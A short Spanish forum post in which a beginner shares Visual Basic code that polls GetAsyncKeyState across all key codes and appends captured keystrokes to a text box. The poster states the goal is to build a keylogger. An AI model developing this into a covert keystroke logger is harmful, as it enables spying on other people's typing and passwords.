Soy nuevo en VB, por lo tanto no se mucho de este lenguaje, por ende, no creo que tenga unas bases.
Public Class Form1
Dim resultado As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
resultado = 0
resultado = GetAsyncKeyState(i)
If resultado = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next i
End Sub
End Class
Si a lo que te refieres es que empiece a leer manuales y a aprender mas de este lenguaje, claro que lo are, si es un requisito para hacer un keylogger. Gracias por tu respuesta.